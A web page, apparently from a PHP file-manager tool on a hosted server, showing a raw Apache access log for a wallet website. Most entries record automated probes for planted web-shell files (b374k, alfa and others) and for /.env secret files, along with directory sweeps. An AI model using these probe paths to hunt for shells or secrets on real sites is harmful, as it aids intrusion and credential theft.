🔐 Sid Gifari File Manager Pro
v8.0.5 | 2026-08-05 14:07:49 | PHP 8.2.32
📂
/ (Root)
/
home
/
eliteewa
/
logs
📍 /home/eliteewa/logs
🔄 Refresh
✏️
Editing: eliteewallet.com.bkup
Read Only
198.235.24.166 - - [19/Jan/2026:03:04:48 +0300] "GET / HTTP/1.1" 301 795 "-" "-" 91.92.242.178 - - [19/Jan/2026:04:33:50 +0300] "GET /txets.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 34.177.100.148 - - [19/Jan/2026:04:49:40 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 216.244.66.194 - - [19/Jan/2026:05:05:37 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; DotBot/1.2; +https://opensiteexplorer.org/dotbot; help@moz.com)" 115.45.40.4 - - [19/Jan/2026:05:07:20 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.3109.129 Safari/537.36 SE 2.X MetaSr 1.0" 43.130.16.212 - - [19/Jan/2026:05:13:21 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 43.157.148.38 - - [19/Jan/2026:06:08:19 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 103.111.119.121 - - [19/Jan/2026:06:35:39 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 141.98.11.44 - - [19/Jan/2026:07:13:30 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "https://www.google.com/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 13_6_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.2.1 Safari/605.1.15" 4.194.107.19 - - [19/Jan/2026:07:35:06 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 4.194.107.19 - - [19/Jan/2026:07:35:09 +0300] "GET /var/www/tagtek/good.php HTTP/1.1" 301 795 "-" "-" 4.194.107.19 - - [19/Jan/2026:07:35:11 +0300] "GET /f35.php HTTP/1.1" 301 795 "-" "-" 4.194.107.19 - - [19/Jan/2026:07:35:13 +0300] "GET /nae.php HTTP/1.1" 301 795 "-" "-" 4.194.107.19 - - [19/Jan/2026:07:35:14 +0300] "GET /tx38.php HTTP/1.1" 301 795 "-" "-" 4.194.107.19 - - [19/Jan/2026:07:35:16 +0300] "GET /b.php HTTP/1.1" 301 795 "-" "-" 4.194.107.19 - - [19/Jan/2026:07:35:18 +0300] "GET /cw.php HTTP/1.1" 301 795 "-" "-" 4.194.107.19 - - [19/Jan/2026:07:35:19 +0300] "GET /h.php HTTP/1.1" 301 795 "-" "-" 4.194.107.19 - - [19/Jan/2026:07:35:21 +0300] "GET /wp-2020.php HTTP/1.1" 301 795 "-" "-" 4.194.107.19 - - [19/Jan/2026:07:35:22 +0300] "GET /f2f.php HTTP/1.1" 301 795 "-" "-" 4.194.107.19 - - [19/Jan/2026:07:35:24 +0300] "GET /eru.php HTTP/1.1" 301 795 "-" "-" 4.194.107.19 - - [19/Jan/2026:07:35:26 +0300] "GET /uploader.php HTTP/1.1" 301 795 "-" "-" 4.194.107.19 - - [19/Jan/2026:07:35:29 +0300] "GET /.env.php HTTP/1.1" 301 795 "-" "-" 4.194.107.19 - - [19/Jan/2026:07:35:31 +0300] "GET /udd.php HTTP/1.1" 301 795 "-" "-" 4.194.107.19 - - [19/Jan/2026:07:35:33 +0300] "GET /xae.php HTTP/1.1" 301 795 "-" "-" 4.194.107.19 - - [19/Jan/2026:07:35:35 +0300] "GET /pi.php HTTP/1.1" 301 795 "-" "-" 4.194.107.19 - - [19/Jan/2026:07:35:36 +0300] "GET /wp-db.php HTTP/1.1" 301 795 "-" "-" 4.194.107.19 - - [19/Jan/2026:07:35:38 +0300] "GET /lx.php HTTP/1.1" 301 795 "-" "-" 4.194.107.19 - - [19/Jan/2026:07:35:41 +0300] "GET /batm.php HTTP/1.1" 301 795 "-" "-" 4.194.107.19 - - [19/Jan/2026:07:35:44 +0300] "GET /wp-add.php HTTP/1.1" 301 795 "-" "-" 4.194.107.19 - - [19/Jan/2026:07:35:45 +0300] "GET /lm13.php HTTP/1.1" 301 795 "-" "-" 4.194.107.19 - - [19/Jan/2026:07:35:47 +0300] "GET /wan.php HTTP/1.1" 301 795 "-" "-" 4.194.107.19 - - [19/Jan/2026:07:35:48 +0300] "GET /bypass403.php HTTP/1.1" 301 795 "-" "-" 4.194.107.19 - - [19/Jan/2026:07:35:50 +0300] "GET /444.php HTTP/1.1" 301 795 "-" "-" 4.194.107.19 - - [19/Jan/2026:07:35:53 +0300] "GET /fosil.php HTTP/1.1" 301 795 "-" "-" 4.194.107.19 - - [19/Jan/2026:07:35:55 +0300] "GET /xzs.php HTTP/1.1" 301 795 "-" "-" 4.194.107.19 - - [19/Jan/2026:07:35:56 +0300] "GET /led.php HTTP/1.1" 301 795 "-" "-" 4.194.107.19 - - [19/Jan/2026:07:35:58 +0300] "GET /LA.php HTTP/1.1" 301 795 "-" "-" 4.194.107.19 - - [19/Jan/2026:07:36:00 +0300] "GET /wsz.php HTTP/1.1" 301 795 "-" "-" 4.194.107.19 - - [19/Jan/2026:07:36:03 +0300] "GET /edit.php HTTP/1.1" 301 795 "-" "-" 4.194.107.19 - - [19/Jan/2026:07:36:05 +0300] "GET /flower2.php HTTP/1.1" 301 795 "-" "-" 4.194.107.19 - - [19/Jan/2026:07:36:08 +0300] "GET /ans.php HTTP/1.1" 301 795 "-" "-" 4.194.107.19 - - [19/Jan/2026:07:36:09 +0300] "GET /bs1.php HTTP/1.1" 301 795 "-" "-" 4.194.107.19 - - [19/Jan/2026:07:36:11 +0300] "GET /o2.php HTTP/1.1" 301 795 "-" "-" 4.194.107.19 - - [19/Jan/2026:07:36:12 +0300] "GET /ova.php HTTP/1.1" 301 795 "-" "-" 4.194.107.19 - - [19/Jan/2026:07:36:14 +0300] "GET /past.php HTTP/1.1" 301 795 "-" "-" 4.194.107.19 - - [19/Jan/2026:07:36:16 +0300] "GET /ws37.php HTTP/1.1" 301 795 "-" "-" 4.194.107.19 - - [19/Jan/2026:07:36:18 +0300] "GET /wpup.php HTTP/1.1" 301 795 "-" "-" 4.194.107.19 - - [19/Jan/2026:07:36:20 +0300] "GET /defaul.php HTTP/1.1" 301 795 "-" "-" 4.194.107.19 - - [19/Jan/2026:07:36:22 +0300] "GET /mc.php HTTP/1.1" 301 795 "-" "-" 4.194.107.19 - - [19/Jan/2026:07:36:23 +0300] "GET /woh.php HTTP/1.1" 301 795 "-" "-" 4.194.107.19 - - [19/Jan/2026:07:36:25 +0300] "GET /lok.php HTTP/1.1" 301 795 "-" "-" 4.194.107.19 - - [19/Jan/2026:07:36:27 +0300] "GET /991176.php HTTP/1.1" 301 795 "-" "-" 4.194.107.19 - - [19/Jan/2026:07:36:29 +0300] "GET /ws45.php HTTP/1.1" 301 795 "-" "-" 4.194.107.19 - - [19/Jan/2026:07:36:31 +0300] "GET /ws33.php HTTP/1.1" 301 795 "-" "-" 4.194.107.19 - - [19/Jan/2026:07:36:33 +0300] "GET /tiny.php HTTP/1.1" 301 795 "-" "-" 4.194.107.19 - - [19/Jan/2026:07:36:34 +0300] "GET /goat1.php HTTP/1.1" 301 795 "-" "-" 4.194.107.19 - - [19/Jan/2026:07:36:36 +0300] "GET /xeqdlun.php HTTP/1.1" 301 795 "-" "-" 4.194.107.19 - - [19/Jan/2026:07:36:38 +0300] "GET /wen.php HTTP/1.1" 301 795 "-" "-" 4.194.107.19 - - [19/Jan/2026:07:36:39 +0300] "GET /ws34.php HTTP/1.1" 301 795 "-" "-" 4.194.107.19 - - [19/Jan/2026:07:36:41 +0300] "GET /b0.php HTTP/1.1" 301 795 "-" "-" 4.194.107.19 - - [19/Jan/2026:07:36:43 +0300] "GET /var/www/tagtek/bless.php HTTP/1.1" 301 795 "-" "-" 4.194.107.19 - - [19/Jan/2026:07:36:44 +0300] "GET /rcc.php HTTP/1.1" 301 795 "-" "-" 4.194.107.19 - - [19/Jan/2026:07:36:46 +0300] "GET /xp.php HTTP/1.1" 301 795 "-" "-" 4.194.107.19 - - [19/Jan/2026:07:36:48 +0300] "GET /cux.php HTTP/1.1" 301 795 "-" "-" 4.194.107.19 - - [19/Jan/2026:07:36:50 +0300] "GET /family.php HTTP/1.1" 301 795 "-" "-" 4.194.107.19 - - [19/Jan/2026:07:36:51 +0300] "GET /ss.php HTTP/1.1" 301 795 "-" "-" 4.194.107.19 - - [19/Jan/2026:07:36:53 +0300] "GET /Njima.php HTTP/1.1" 301 795 "-" "-" 4.194.107.19 - - [19/Jan/2026:07:36:56 +0300] "GET /wp-2018.php HTTP/1.1" 301 795 "-" "-" 4.194.107.19 - - [19/Jan/2026:07:36:58 +0300] "GET /asf.php HTTP/1.1" 301 795 "-" "-" 4.194.107.19 - - [19/Jan/2026:07:36:59 +0300] "GET /ulc2.ph HTTP/1.1" 301 795 "-" "-" 4.194.107.19 - - [19/Jan/2026:07:37:01 +0300] "GET /berm.php HTTP/1.1" 301 795 "-" "-" 4.194.107.19 - - [19/Jan/2026:07:37:04 +0300] "GET /indosec.php HTTP/1.1" 301 795 "-" "-" 4.194.107.19 - - [19/Jan/2026:07:37:06 +0300] "GET /hshs.php HTTP/1.1" 301 795 "-" "-" 4.194.107.19 - - [19/Jan/2026:07:37:09 +0300] "GET /new4.php HTTP/1.1" 301 795 "-" "-" 4.194.107.19 - - [19/Jan/2026:07:37:11 +0300] "GET /fck.php HTTP/1.1" 301 795 "-" "-" 4.194.107.19 - - [19/Jan/2026:07:37:13 +0300] "GET /87.php HTTP/1.1" 301 795 "-" "-" 4.194.107.19 - - [19/Jan/2026:07:37:15 +0300] "GET /tons.php HTTP/1.1" 301 795 "-" "-" 4.194.107.19 - - [19/Jan/2026:07:37:17 +0300] "GET /Cache.php HTTP/1.1" 301 795 "-" "-" 4.194.107.19 - - [19/Jan/2026:07:37:19 +0300] "GET /504.php HTTP/1.1" 301 795 "-" "-" 4.194.107.19 - - [19/Jan/2026:07:37:21 +0300] "GET /nox.php HTTP/1.1" 301 795 "-" "-" 4.194.107.19 - - [19/Jan/2026:07:37:23 +0300] "GET /xinder.php HTTP/1.1" 301 795 "-" "-" 4.194.107.19 - - [19/Jan/2026:07:37:25 +0300] "GET /sxx.php HTTP/1.1" 301 795 "-" "-" 4.194.107.19 - - [19/Jan/2026:07:37:26 +0300] "GET /gif.php HTTP/1.1" 301 795 "-" "-" 4.194.107.19 - - [19/Jan/2026:07:37:28 +0300] "GET /ws38.php HTTP/1.1" 301 795 "-" "-" 4.194.107.19 - - [19/Jan/2026:07:37:30 +0300] "GET /an8.php HTTP/1.1" 301 795 "-" "-" 4.194.107.19 - - [19/Jan/2026:07:37:32 +0300] "GET /z57.php HTTP/1.1" 301 795 "-" "-" 4.194.107.19 - - [19/Jan/2026:07:37:34 +0300] "GET /cp.php HTTP/1.1" 301 795 "-" "-" 4.194.107.19 - - [19/Jan/2026:07:37:36 +0300] "GET /lisa.php HTTP/1.1" 301 795 "-" "-" 4.194.107.19 - - [19/Jan/2026:07:37:38 +0300] "GET /oo.php HTTP/1.1" 301 795 "-" "-" 4.194.107.19 - - [19/Jan/2026:07:37:41 +0300] "GET /vxrl.php HTTP/1.1" 301 795 "-" "-" 4.194.107.19 - - [19/Jan/2026:07:37:43 +0300] "GET /ws28.php HTTP/1.1" 301 795 "-" "-" 4.194.107.19 - - [19/Jan/2026:07:37:45 +0300] "GET /mariju.php HTTP/1.1" 301 795 "-" "-" 4.194.107.19 - - [19/Jan/2026:07:37:47 +0300] "GET /api.php HTTP/1.1" 301 795 "-" "-" 4.194.107.19 - - [19/Jan/2026:07:37:49 +0300] "GET /s.php HTTP/1.1" 301 795 "-" "-" 4.194.107.19 - - [19/Jan/2026:07:37:51 +0300] "GET /ws35.php HTTP/1.1" 301 795 "-" "-" 4.194.107.19 - - [19/Jan/2026:07:37:53 +0300] "GET /h8h9.php HTTP/1.1" 301 795 "-" "-" 4.194.107.19 - - [19/Jan/2026:07:37:55 +0300] "GET /w0.php HTTP/1.1" 301 795 "-" "-" 4.194.107.19 - - [19/Jan/2026:07:37:57 +0300] "GET /indo.php HTTP/1.1" 301 795 "-" "-" 4.194.107.19 - - [19/Jan/2026:07:37:59 +0300] "GET /lanz.php HTTP/1.1" 301 795 "-" "-" 4.194.107.19 - - [19/Jan/2026:07:38:01 +0300] "GET /amax.php HTTP/1.1" 301 795 "-" "-" 4.194.107.19 - - [19/Jan/2026:07:38:03 +0300] "GET /zy.php HTTP/1.1" 301 795 "-" "-" 4.194.107.19 - - [19/Jan/2026:07:38:06 +0300] "GET /mini.php HTTP/1.1" 301 795 "-" "-" 4.194.107.19 - - [19/Jan/2026:07:38:08 +0300] "GET /f0x.php HTTP/1.1" 301 795 "-" "-" 4.194.107.19 - - [19/Jan/2026:07:38:10 +0300] "GET /yyy.php HTTP/1.1" 301 795 "-" "-" 4.194.107.19 - - [19/Jan/2026:07:38:11 +0300] "GET /hehehehe.php HTTP/1.1" 301 795 "-" "-" 4.194.107.19 - - [19/Jan/2026:07:38:14 +0300] "GET /ki1k.php HTTP/1.1" 301 795 "-" "-" 4.194.107.19 - - [19/Jan/2026:07:38:15 +0300] "GET /jp.php HTTP/1.1" 301 795 "-" "-" 4.194.107.19 - - [19/Jan/2026:07:38:17 +0300] "GET /21x.php HTTP/1.1" 301 795 "-" "-" 4.194.107.19 - - [19/Jan/2026:07:38:18 +0300] "GET /ws36.php HTTP/1.1" 301 795 "-" "-" 4.194.107.19 - - [19/Jan/2026:07:38:20 +0300] "GET /new.php HTTP/1.1" 301 795 "-" "-" 4.194.107.19 - - [19/Jan/2026:07:38:22 +0300] "GET /sellSEX.php HTTP/1.1" 301 795 "-" "-" 4.194.107.19 - - [19/Jan/2026:07:38:23 +0300] "GET /ths.php HTTP/1.1" 301 795 "-" "-" 4.194.107.19 - - [19/Jan/2026:07:38:25 +0300] "GET /xxw.php HTTP/1.1" 301 795 "-" "-" 4.194.107.19 - - [19/Jan/2026:07:38:26 +0300] "GET /xeeex.php HTTP/1.1" 301 795 "-" "-" 4.194.107.19 - - [19/Jan/2026:07:38:28 +0300] "GET /alfa1.php HTTP/1.1" 301 795 "-" "-" 4.194.107.19 - - [19/Jan/2026:07:38:30 +0300] "GET /bras.php HTTP/1.1" 301 795 "-" "-" 4.194.107.19 - - [19/Jan/2026:07:38:32 +0300] "GET /public/new2.php HTTP/1.1" 301 795 "-" "-" 4.194.107.19 - - [19/Jan/2026:07:38:34 +0300] "GET /goat.php HTTP/1.1" 301 795 "-" "-" 4.194.107.19 - - [19/Jan/2026:07:38:35 +0300] "GET /wp-good.php HTTP/1.1" 301 795 "-" "-" 4.194.107.19 - - [19/Jan/2026:07:38:37 +0300] "GET /aks.php HTTP/1.1" 301 795 "-" "-" 4.194.107.19 - - [19/Jan/2026:07:38:38 +0300] "GET /dirs.php HTTP/1.1" 301 795 "-" "-" 4.194.107.19 - - [19/Jan/2026:07:38:40 +0300] "GET /000.php HTTP/1.1" 301 795 "-" "-" 4.194.107.19 - - [19/Jan/2026:07:38:42 +0300] "GET /00.php HTTP/1.1" 301 795 "-" "-" 4.194.107.19 - - [19/Jan/2026:07:38:43 +0300] "GET /w.php HTTP/1.1" 301 795 "-" "-" 4.194.107.19 - - [19/Jan/2026:07:38:45 +0300] "GET /f8.php HTTP/1.1" 301 795 "-" "-" 4.194.107.19 - - [19/Jan/2026:07:38:47 +0300] "GET /dds.php HTTP/1.1" 301 795 "-" "-" 4.194.107.19 - - [19/Jan/2026:07:38:48 +0300] "GET /sck.php HTTP/1.1" 301 795 "-" "-" 4.194.107.19 - - [19/Jan/2026:07:38:50 +0300] "GET /bless14.php HTTP/1.1" 301 795 "-" "-" 4.194.107.19 - - [19/Jan/2026:07:38:52 +0300] "GET /as.php HTTP/1.1" 301 795 "-" "-" 4.194.107.19 - - [19/Jan/2026:07:38:54 +0300] "GET /file17.php HTTP/1.1" 301 795 "-" "-" 4.194.107.19 - - [19/Jan/2026:07:38:55 +0300] "GET /b374k.php HTTP/1.1" 301 795 "-" "-" 4.194.107.19 - - [19/Jan/2026:07:38:57 +0300] "GET /old-index.php HTTP/1.1" 301 795 "-" "-" 4.194.107.19 - - [19/Jan/2026:07:38:59 +0300] "GET /acwfihfh.php HTTP/1.1" 301 795 "-" "-" 4.194.107.19 - - [19/Jan/2026:07:39:00 +0300] "GET /vv.php HTTP/1.1" 301 795 "-" "-" 4.194.107.19 - - [19/Jan/2026:07:39:02 +0300] "GET /JPG.php HTTP/1.1" 301 795 "-" "-" 4.194.107.19 - - [19/Jan/2026:07:39:04 +0300] "GET /ma.php HTTP/1.1" 301 795 "-" "-" 4.194.107.19 - - [19/Jan/2026:07:39:06 +0300] "GET /pn.php HTTP/1.1" 301 795 "-" "-" 4.194.107.19 - - [19/Jan/2026:07:39:08 +0300] "GET /alfa3.php HTTP/1.1" 301 795 "-" "-" 4.194.107.19 - - [19/Jan/2026:07:39:09 +0300] "GET /rendi59.php HTTP/1.1" 301 795 "-" "-" 4.194.107.19 - - [19/Jan/2026:07:39:11 +0300] "GET /2index.php HTTP/1.1" 301 795 "-" "-" 4.194.107.19 - - [19/Jan/2026:07:39:13 +0300] "GET /1p.php HTTP/1.1" 301 795 "-" "-" 4.194.107.19 - - [19/Jan/2026:07:39:15 +0300] "GET /.rxr.php HTTP/1.1" 301 795 "-" "-" 4.194.107.19 - - [19/Jan/2026:07:39:16 +0300] "GET /13.php HTTP/1.1" 301 795 "-" "-" 4.194.107.19 - - [19/Jan/2026:07:39:18 +0300] "GET /xxxx.php HTTP/1.1" 301 795 "-" "-" 4.194.107.19 - - [19/Jan/2026:07:39:20 +0300] "GET /out.php HTTP/1.1" 301 795 "-" "-" 4.194.107.19 - - [19/Jan/2026:07:39:21 +0300] "GET /xa.php HTTP/1.1" 301 795 "-" "-" 4.194.107.19 - - [19/Jan/2026:07:39:23 +0300] "GET /var/www/tagtek/ans.php HTTP/1.1" 301 795 "-" "-" 4.194.107.19 - - [19/Jan/2026:07:39:24 +0300] "GET /back.php HTTP/1.1" 301 795 "-" "-" 4.194.107.19 - - [19/Jan/2026:07:39:26 +0300] "GET /elp.php HTTP/1.1" 301 795 "-" "-" 4.194.107.19 - - [19/Jan/2026:07:39:27 +0300] "GET /se.php HTTP/1.1" 301 795 "-" "-" 4.194.107.19 - - [19/Jan/2026:07:39:29 +0300] "GET /esp.php HTTP/1.1" 301 795 "-" "-" 4.194.107.19 - - [19/Jan/2026:07:39:31 +0300] "GET /rc.php HTTP/1.1" 301 795 "-" "-" 51.68.111.212 - - [19/Jan/2026:08:41:11 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v2.0.4; http://mj12bot.com/)" 51.68.111.212 - - [19/Jan/2026:08:41:11 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v2.0.4; http://mj12bot.com/)" 38.248.89.227 - - [19/Jan/2026:09:10:35 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0" 203.95.199.159 - - [19/Jan/2026:09:44:12 +0300] "GET //wp-json/wp/v2/posts HTTP/1.0" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 43.130.34.74 - - [19/Jan/2026:11:19:59 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 89.47.249.61 - - [19/Jan/2026:12:27:06 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.6998.166 Safari/537.36" 1.15.52.154 - - [19/Jan/2026:10:48:44 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 34.210.182.35 - - [19/Jan/2026:11:29:06 +0300] "HEAD / HTTP/1.1" 301 0 "-" "Opera/9.80 (Windows NT 6.1; U; ja) Presto/2.5.22 Version/10.50" 43.153.96.79 - - [19/Jan/2026:12:16:28 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 185.177.72.23 - - [19/Jan/2026:14:24:04 +0300] "POST / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" 216.244.66.194 - - [19/Jan/2026:13:26:59 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; DotBot/1.2; +https://opensiteexplorer.org/dotbot; help@moz.com)" 185.177.72.23 - - [19/Jan/2026:14:24:04 +0300] "GET /.env HTTP/1.1" 301 795 "-" "curl/8.7.1" 146.70.36.142 - - [19/Jan/2026:15:34:54 +0300] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "-" 146.70.36.142 - - [19/Jan/2026:15:34:55 +0300] "GET /wp-includes/ HTTP/1.1" 301 795 "-" "-" 146.70.36.142 - - [19/Jan/2026:15:34:55 +0300] "GET /wp-includes/css/ HTTP/1.1" 301 795 "-" "-" 146.70.36.142 - - [19/Jan/2026:15:34:55 +0300] "GET /wp-includes/ID3/ HTTP/1.1" 301 795 "-" "-" 146.70.36.142 - - [19/Jan/2026:15:34:55 +0300] "GET /wp-includes/IXR/ HTTP/1.1" 301 795 "-" "-" 146.70.36.142 - - [19/Jan/2026:15:34:55 +0300] "GET /wp-includes/Requests/ HTTP/1.1" 301 795 "-" "-" 146.70.36.142 - - [19/Jan/2026:15:34:55 +0300] "GET /wp-includes/SimplePie/ HTTP/1.1" 301 795 "-" "-" 146.70.36.142 - - [19/Jan/2026:15:34:55 +0300] "GET /wp-includes/Text/ HTTP/1.1" 301 795 "-" "-" 146.70.36.142 - - [19/Jan/2026:15:34:56 +0300] "GET /wp-content/mu-plugins-old/ HTTP/1.1" 301 795 "-" "-" 146.70.36.142 - - [19/Jan/2026:15:34:59 +0300] "GET /wp-content/themes/classic/inc/ HTTP/1.1" 301 795 "-" "-" 146.70.36.142 - - [19/Jan/2026:15:35:02 +0300] "GET /wp-content/plugins/ninja-forms/ HTTP/1.1" 301 795 "-" "-" 146.70.36.142 - - [19/Jan/2026:15:35:36 +0300] "GET /images/ HTTP/1.1" 301 795 "-" "-" 146.70.36.142 - - [19/Jan/2026:15:35:37 +0300] "GET /assets/ HTTP/1.1" 301 795 "-" "-" 146.70.36.142 - - [19/Jan/2026:15:35:40 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/ HTTP/1.1" 301 795 "-" "-" 146.70.36.142 - - [19/Jan/2026:15:35:42 +0300] "GET /upload/image/ HTTP/1.1" 301 795 "-" "-" 146.70.36.142 - - [19/Jan/2026:15:35:44 +0300] "GET /assets/images/ HTTP/1.1" 301 795 "-" "-" 146.70.36.142 - - [19/Jan/2026:15:35:46 +0300] "GET /Public/ HTTP/1.1" 301 795 "-" "-" 146.70.36.142 - - [19/Jan/2026:15:35:47 +0300] "GET /vendor/ HTTP/1.1" 301 795 "-" "-" 146.70.36.142 - - [19/Jan/2026:15:35:49 +0300] "GET /local/ HTTP/1.1" 301 795 "-" "-" 146.70.36.142 - - [19/Jan/2026:15:35:50 +0300] "GET /modules/ HTTP/1.1" 301 795 "-" "-" 146.70.36.142 - - [19/Jan/2026:15:35:51 +0300] "GET /Site/ HTTP/1.1" 301 795 "-" "-" 146.70.36.142 - - [19/Jan/2026:15:35:53 +0300] "GET /system/ HTTP/1.1" 301 795 "-" "-" 146.70.36.142 - - [19/Jan/2026:15:35:54 +0300] "GET /template/ HTTP/1.1" 301 795 "-" "-" 146.70.36.142 - - [19/Jan/2026:15:35:55 +0300] "GET /shop/ HTTP/1.1" 301 795 "-" "-" 146.70.36.142 - - [19/Jan/2026:15:35:57 +0300] "GET /files/ HTTP/1.1" 301 795 "-" "-" 146.70.36.142 - - [19/Jan/2026:15:35:58 +0300] "GET /admin/editor/ HTTP/1.1" 301 795 "-" "-" 146.70.36.142 - - [19/Jan/2026:15:36:00 +0300] "GET /include/ HTTP/1.1" 301 795 "-" "-" 146.70.36.142 - - [19/Jan/2026:15:36:01 +0300] "GET /Assets/ HTTP/1.1" 301 795 "-" "-" 146.70.36.142 - - [19/Jan/2026:15:36:03 +0300] "GET /images/stories/ HTTP/1.1" 301 795 "-" "-" 146.70.36.142 - - [19/Jan/2026:15:36:06 +0300] "GET /plugins/ HTTP/1.1" 301 795 "-" "-" 146.70.36.142 - - [19/Jan/2026:15:36:07 +0300] "GET /php/ HTTP/1.1" 301 795 "-" "-" 146.70.36.142 - - [19/Jan/2026:15:36:08 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "-" "-" 146.70.36.142 - - [19/Jan/2026:15:36:09 +0300] "GET /wp-content/themes/twentytwenty/ HTTP/1.1" 301 795 "-" "-" 146.70.36.142 - - [19/Jan/2026:15:36:10 +0300] "GET /wp-content/cache/ HTTP/1.1" 301 795 "-" "-" 146.70.36.142 - - [19/Jan/2026:15:36:12 +0300] "GET /wp-admin/maint/ HTTP/1.1" 301 795 "-" "-" 146.70.36.142 - - [19/Jan/2026:15:36:12 +0300] "GET /wp-content/plugins/akismet/ HTTP/1.1" 301 795 "-" "-" 146.70.36.142 - - [19/Jan/2026:15:36:14 +0300] "GET /wp-includes/assets/ HTTP/1.1" 301 795 "-" "-" 146.70.36.142 - - [19/Jan/2026:15:36:14 +0300] "GET /wp-includes/block-patterns/ HTTP/1.1" 301 795 "-" "-" 146.70.36.142 - - [19/Jan/2026:15:36:14 +0300] "GET /wp-includes/block-supports/ HTTP/1.1" 301 795 "-" "-" 146.70.36.142 - - [19/Jan/2026:15:36:14 +0300] "GET /wp-includes/html-api/ HTTP/1.1" 301 795 "-" "-" 146.70.36.142 - - [19/Jan/2026:15:36:14 +0300] "GET /wp-includes/js/ HTTP/1.1" 301 795 "-" "-" 146.70.36.142 - - [19/Jan/2026:15:36:14 +0300] "GET /wp-includes/php-compat/ HTTP/1.1" 301 795 "-" "-" 146.70.36.142 - - [19/Jan/2026:15:35:08 +0300] "GET /wp-content/mu-plugins/ HTTP/1.1" 301 795 "-" "-" 146.70.36.142 - - [19/Jan/2026:15:35:10 +0300] "GET /wp-includes/Text/Diff/Renderer/ HTTP/1.1" 301 795 "-" "-" 146.70.36.142 - - [19/Jan/2026:15:35:10 +0300] "GET /wp-includes/blocks/ HTTP/1.1" 301 795 "-" "-" 146.70.36.142 - - [19/Jan/2026:15:35:10 +0300] "GET /wp-includes/certificates/ HTTP/1.1" 301 795 "-" "-" 146.70.36.142 - - [19/Jan/2026:15:35:10 +0300] "GET /wp-includes/customize/ HTTP/1.1" 301 795 "-" "-" 146.70.36.142 - - [19/Jan/2026:15:35:10 +0300] "GET /wp-includes/fonts/ HTTP/1.1" 301 795 "-" "-" 146.70.36.142 - - [19/Jan/2026:15:35:10 +0300] "GET /wp-includes/images/ HTTP/1.1" 301 795 "-" "-" 146.70.36.142 - - [19/Jan/2026:15:35:11 +0300] "GET /.well-known/ HTTP/1.1" 301 795 "-" "-" 146.70.36.142 - - [19/Jan/2026:15:35:11 +0300] "GET /ALFA_DATA/ HTTP/1.1" 301 795 "-" "-" 146.70.36.142 - - [19/Jan/2026:15:35:12 +0300] "GET /.well-knownold/ HTTP/1.1" 301 795 "-" "-" 146.70.36.142 - - [19/Jan/2026:15:35:14 +0300] "GET /.well-known/acme-challenge/ HTTP/1.1" 301 795 "-" "-" 146.70.36.142 - - [19/Jan/2026:15:35:14 +0300] "GET /cgi-bin/ HTTP/1.1" 301 795 "-" "-" 146.70.36.142 - - [19/Jan/2026:15:35:15 +0300] "GET /index/ HTTP/1.1" 301 795 "-" "-" 146.70.36.142 - - [19/Jan/2026:15:35:16 +0300] "GET /id/ HTTP/1.1" 301 795 "-" "-" 146.70.36.142 - - [19/Jan/2026:15:35:18 +0300] "GET /www/ HTTP/1.1" 301 795 "-" "-" 146.70.36.142 - - [19/Jan/2026:15:35:19 +0300] "GET /web/ HTTP/1.1" 301 795 "-" "-" 146.70.36.142 - - [19/Jan/2026:15:35:21 +0300] "GET /uploads/ HTTP/1.1" 301 795 "-" "-" 146.70.36.142 - - [19/Jan/2026:15:35:23 +0300] "GET /upload/ HTTP/1.1" 301 795 "-" "-" 146.70.36.142 - - 